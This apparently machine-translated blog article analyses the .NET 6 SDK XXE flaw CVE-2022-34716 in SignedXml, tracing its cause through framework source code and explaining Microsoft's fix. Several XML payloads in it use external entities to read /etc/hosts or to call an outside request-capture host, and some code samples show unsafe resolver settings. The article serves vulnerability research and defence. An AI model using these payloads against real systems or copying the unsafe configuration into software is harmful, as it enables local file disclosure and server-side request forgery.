what they struggled with… / Habr

what they struggled with… / Habr

Modern .NET gives developers protection against XXE out of the box: you can parse your XML and not bother with any DTDs, entities and related security. Isn’t it wonderful? However, life is a thing with irony.

Below is a piece by piece analysis of XXE from the .NET 6 SDK: code, reasons for the security flaw, fix.

Note. I wrote the article with the expectation of a reader already familiar with XXE. If you are just getting to know the topic or need to refresh your memory, I suggest these materials:

XXE in .NET: XmlDocument specification

XML parsers with default settings in modern .NET mainly protected by XXE. This is achieved by disabling entity resolvers or disabling DTD processing — it depends on the specific parser.

Why mainly?

  • I will not undertake to say, probably for all parsers;
  • if all parsers were protected, there would be no article 🙂

To understand the vulnerability with .NET 6, let’s remember the specificity of the type XmlDocument. Let’s start with an example. The following code in modern .NET is XXE protected:

XmlDocument xmlDoc = new XmlDocument();
xmlDoc.Load(xmlStream);
// Processing...

Let’s make sure of this – let’s try to read the local file with an XML parser and print the contents to the console:

static void ProcessXml(Stream xmlStream)
{
    var xmlDoc = new XmlDocument();       
    xmlDoc.Load(xmlStream);

    // Processing...
    Console.WriteLine(xmlDoc.InnerText);
}

Malicious XML:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "file:///etc/hosts" >
]>
<xxeExample>
    &query;
</xxeExample>

The result is an empty exhaust.

The XML parser did not throw an exception, but did not parse the essence. The situation is similar with network requests: in the default configuration, the parser does not execute them.

The above code can easily be made unsafe by initializing the property XmlResolver:

static void ProcessXml(Stream xmlStream)
{
    XmlDocument xmlDoc = new XmlDocument()
    {
        XmlResolver = new XmlUrlResolver()
    };

    xmlDoc.Load(xmlStream);

    // Processing...
    Console.WriteLine(xmlDoc.InnerText);
}

If this code parses the same XML, the program will write the contents of the hosts file to the console:

With network requests, the situation is similar — we change the content of the XML file submitted to the input and check the endpoint specified in it.

XML with the entity of a call to an external resource (URI shortened):

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "https://*.beeceptor.com/xxe?data=Memento%20mori">
]>
<xxeExample>&query;</xxeExample>

Intercepted network request:

Conclusion: in .NET instances XmlDocument are safe out of the box because they have no resolver. However, the parser will be vulnerable if the property is explicitly initialized XmlResolver an unsafe value (for example, an instance XmlUrlResolver in the default state).

But in the case of the .NET Framework, everything is not so rosy.

The security of default parsers in the .NET Framework depends not only on the version of the framework, but also on other factors. I discussed this topic in more detail in the report “Vulnerabilities when working with XML in .NET: Part 2” at DotNext 2023. You can already watch the recording if you have a ticket.

CVE-2022-34716: XXE in the .NET 6 SDK

general information

From the general theory, let’s move on to our main topic – vulnerability CVE-2022-34716.
Normally, Microsoft does not provide much information about vulnerabilities in its products. This time was no exception. On the one hand, the motivation for such decisions is clear. On the other hand, the fact remains: if you want details, look for them yourself.

Basic information:

However, if you dig a little more on the Internet, you can find interesting details: link #1, link #2. From them, we find that CVE-2022-34716 is an XXE related to the type System.Security.Cryptography.Xml.SignedXml. Well, let’s try to make a PoC and find the reasons for the security defect.

To study the problem, let’s compile a test project on the .NET 6 SDK with a vulnerable version of the System.Security.Cryptography.Xml package – 6.0.0. Code to work with type SignedXml let’s take it from the documentation.

A shortened version of the code from the docks, sufficient for research:

void ProcessSignedXml(String xmlPath) 
{       
    var xmlDoc = new XmlDocument();       
    xmlDoc.Load(xmlPath);      

    var signedXml = new SignedXml(xmlDoc);       
    signedXml.SigningKey = RSA.Create();       

    Reference reference = new Reference();       
    reference.Uri = String.Empty;       

    var env = new XmlDsigEnvelopedSignatureTransform();       
    reference.AddTransform(env);       

    signedXml.AddReference(reference);       

    signedXml.ComputeSignature();
    // ...
}

For input, we submit an XML file of the following form:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "https://path/to/endpoint">
]>
<xxeExample>&query;</xxeExample>

Instead path/to/endpoint I used a specific endpoint at beeceptor.com. If, when parsing the XML file, a request comes to the end, we got to XXE.

The verification algorithm is as follows:

  1. We give the XML file described above using the method ProcessSignedXml.
  2. We debug the code and see which API call results in a ping of the endpoint.
  3. We are spinning up API calls until we find out the reasons.

Let’s return to the method ProcessSignedXml:

void ProcessSignedXml(String xmlPath) 
{       
    var xmlDoc = new XmlDocument();       
    xmlDoc.Load(xmlPath);      

    var signedXml = new SignedXml(xmlDoc);       
    signedXml.SigningKey = RSA.Create();       

    Reference reference = new Reference();       
    reference.Uri = String.Empty;       

    var env = new XmlDsigEnvelopedSignatureTransform();       
    reference.AddTransform(env);       

    signedXml.AddReference(reference);       

    signedXml.ComputeSignature();    
    // ...
}

The first thing that can cause suspicion is the method call XmlDocument.Load:

var xmlDoc = new XmlDocument();       
xmlDoc.Load(xmlPath);    

However, we have determined that such code is safe in .NET. In addition, it does not use an API SignedXml.

Creating an instance SignedXml also does not generate a network request:

var signedXml = new SignedXml(xmlDoc);

I won’t bother you – the endpoint is called when the method is called ComputeSignature. Unexpectedly…

In fact, we are not even interested ComputeSignatureand transitively caused by it CalculateHashValue. The call chain looks like this:

ComputeSignature
  -> BuildDigestReferences
       -> UpdateHashValue
            -> CalculateHashValue

Well, let’s take a look at CalculateHashValue.

Analyze the CalculateHashValue method

The method takes about 150 lines, so we will analyze only its small fragment – the one to which the execution goes in case:

internal byte[] 
CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
{
  ...
  XmlResolver resolver = null;
  ...
  resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver 
                                    : new XmlSecureResolver(new XmlUrlResolver(),
                                                            baseUri));

  XmlDocument docWithNoComments = Utils.DiscardComments(
    Utils.PreProcessDocumentInput(document, resolver, baseUri));
  ...
}

Yeah, it’s interesting… Several moments immediately catch my eye.

The first is the presence of a variable resolver type XmlResolver. At the beginning of the article, we explained that the use of dangerous resolvers (for example, XmlUrlResolver) can make the XML parser vulnerable to XXE

The second – the initialized resolver is passed even deeper – into the method Utils.PreProcessDocumentInput. A network request is executed precisely when it is called.

Let’s analyze both of these points.

Note. The code branch under consideration is not the only one where a resolver is created and used. If you are interested in looking at the rest, take a look at the weekend.

XmlSecureResolver

Resolver declaration and initialization code:

XmlResolver resolver = null;
...
resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver 
                                  : new XmlSecureResolver(new XmlUrlResolver(),
                                                          baseUri));

Until this moment, the resolver has not been exposed, so the property SignedXml.ResolverSet does matter false. So, resolver is initialized by reference to the instance XmlSecureResolvercreated in alternative branches of the ternary operator.

Note that the first argument of the constructor XmlSecureResolver a reference to an instance is presented XmlUrlResolver in default state. We already know that such resolvers are dangerous. But maybe inside XmlSecureResolver is there any protection Let’s check:

public partial class XmlSecureResolver : XmlResolver
{
    private readonly XmlResolver _resolver;

    public XmlSecureResolver(XmlResolver resolver, string? securityUrl)
    {
        _resolver = resolver;
    }

    public override ICredentials Credentials
    {
        set { _resolver.Credentials = value; }
    }

    public override object? GetEntity(Uri absoluteUri, 
                                      string? role, Type? ofObjectToReturn)
    {
        return _resolver.GetEntity(absoluteUri, role, ofObjectToReturn);
    }

    public override Uri ResolveUri(Uri? baseUri, string? relativeUri)
    {
        return _resolver.ResolveUri(baseUri, relativeUri);
    }
}

There is nothing. The methods responsible for URI resolution and entity handling actually delegate work to the object referenced by the field _resolver. What is it initialized with? That’s right – a reference to the unsafe resolver that was passed to the constructor:

new XmlSecureResolver(new XmlUrlResolver(), baseUri)

Conclusion: about working with entities XmlSecureResolver as dangerous as XmlUrlResolver.

Utils.PreProcessDocumentInput

Method call Utils.PreProcessDocumentInput looks like this:

XmlDocument docWithNoComments = Utils.DiscardComments(
      Utils.PreProcessDocumentInput(document, resolver, baseUri));

We found out that resolver refers to a dangerous object. Let’s see what happens inside PreProcessDocumentInput:

internal static XmlDocument 
PreProcessDocumentInput(XmlDocument document, 
                        XmlResolver xmlResolver, 
                        string baseUri)
{
    if (document == null)
        throw new ArgumentNullException(nameof(document));

    MyXmlDocument doc = new MyXmlDocument();
    doc.PreserveWhitespace = document.PreserveWhitespace;

    // Normalize the document
    using (TextReader stringReader = new StringReader(document.OuterXml))
    {
        XmlReaderSettings settings = new XmlReaderSettings();
        settings.XmlResolver = xmlResolver;
        settings.DtdProcessing = DtdProcessing.Parse;
        ...
        XmlReader reader = XmlReader.Create(stringReader, settings, baseUri);
        doc.Load(reader);
    }
    return doc;
}

The main thing we are interested in is the creation of an XML parser (reader) based on settings (settings), and:

  1. Property DtdProcessing is initialized with a value DtdProcessing.Parse.
  2. In the property XmlResolver a reference to a dangerous resolver – instance is recorded XmlSecureResolverwhich we dealt with above.

All this is done by the created instance XmlReader vulnerable to XXE attacks. That’s why it’s a challenge doc.Load(reader) can read local files or make network requests, as is the case.

Sammari

Let’s collect the main points that led to the vulnerability:

  1. When using the API SignedXml we implicitly called the method CalculateHashValue.
  2. Method CalculateHashValuein turn, calls the helper method Utils.PreProcessDocumentInputinto which it passes a reference to an instance of the type XmlSecureResolver.
  3. Type XmlSecureResolver delegates the handling of external entities to an instance of the type XmlUrlResolver and because of this is dangerous.
  4. In the method Utils.PreProcessDocumentInput an XML parser of the type is created XmlReaderWhich:

    • parses the DTD;
    • uses an instance as a resolver XmlSecureResolver.
  5. Because of the listed properties, the generated parser is vulnerable to XXE.
  6. Because this parser parses malicious XML, a vulnerability exists.

Let me remind you that we processed with help SignedXml The API file looks like this:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxeExample [
    <!ENTITY query SYSTEM "https://path/to/endpoint">
]>
<xxeExample>&query;</xxeExample>

Let’s configure the end point of returning the text: then after the call doc.Load(reader) we can read it by turning to quality doc.InnerText:

Hagakure quote games are a fun experiment. However, let me remind you that the consequences of XXE may not be innocent jokes, but SSRF and data leakage.

**
I’m sure there are other ways to do an XXE attack on SignedXml: in only one method CalculateHashValue as many as 6 places to create and use dangerous resolvers.

Fixed

We have dealt with the vulnerability, let’s look at the fix. It is quite interesting – it does not touch the code for creating and using resolvers.

I duplicate the code that we analyzed:

resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver 
                                  : new XmlSecureResolver(new XmlUrlResolver(),
                                                          baseUri));

XmlDocument docWithNoComments = Utils.DiscardComments(
    Utils.PreProcessDocumentInput(document, resolver, baseUri));

Neither he nor the fillings of the method PreProcessDocumentInput have not changed. The main thing that has changed is the type XmlSecureResolver. Moreover, not even its implementation – the above code fragment began to be used basically a different type. How so? Now let’s figure it out.

Method CalculateHashValue defined in the type Reference from the namespace System.Security.Cryptography.Xml. Type XmlSecureResolver is in the namespace System.Xml and in the field of view for Reference is included through using:

// Reference.cs
using System.Xml;
...
namespace System.Security.Cryptography.Xml
{
    public class Reference
    {
        ...
        internal byte[] 
        CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)
        {
            ...
            resolver = (  SignedXml.ResolverSet 
                        ? SignedXml._xmlResolver 
                        : new XmlSecureResolver(new XmlUrlResolver(),
                                                baseUri));

            XmlDocument docWithNoComments = 
              Utils.DiscardComments(
                Utils.PreProcessDocumentInput(document, resolver, baseUri));
            ...
         }
    }
}

// XmlSecureResolver.cs
namespace System.Xml
{
    ...
    public partial class XmlSecureResolver : XmlResolver
    { ... }
}

In a commit with a fix, another implementation of the type is added XmlSecureResolver within the namespace System.Security.Cryptography.Xml – the same one, which also contains the type itself Reference.

It turns out that the type code Reference, the creation and use of resolvers have not changed. However, safe namespace resolvers are now used System.Security.Cryptography.Xml.XmlSecureResolverbut not System.Xml.XmlSecureResolver.

The new resolver itself looks like this:

namespace System.Security.Cryptography.Xml
{
    // This type masks out System.Xml.XmlSecureResolver by being in the local namespace.
    internal sealed class XmlSecureResolver : XmlResolver
    {
        internal XmlSecureResolver(XmlResolver resolver, string securityUrl)
        {
        }

        // Simulate .NET Framework's CAS behavior by throwing SecurityException.
        // Unlike .NET Framework's implementation, the securityUrl ctor parameter has no effect.
        public override object 
        GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn) 
          => throw new SecurityException();
    }
}

No entity resolution delegation: if method GetEntity is called, it simply throws an exception of type SecurityException. This can be verified by updating the System.Security.Cryptography.Xml package to version 6.0.1. If we take the verification code from the beginning of the section and feed it the same malicious XML, instead of revealing the entities, we will get an exception:

Conclusions

.NET has XXE protection out of the box. As we’ve seen today, this protection is easily broken when XML parsers accidentally get unsafe settings.

What can be advised here:

  • make sure that parsers do not process DTDs/external entities or do so with necessary restrictions;
  • be more careful with third-party components (be it an SDK or a NuGet package). If they work with XML, who knows if it’s safe.

May safety be with you.

Additional materials

Articles

Reports

PS At the Joker 2023 conference, I talked about the specifics of XXE Java. If you are interested in how it differs from .NET or want to share with familiar Java developers, here is a link to the report (to watch the recording, you need a ticket).

Related posts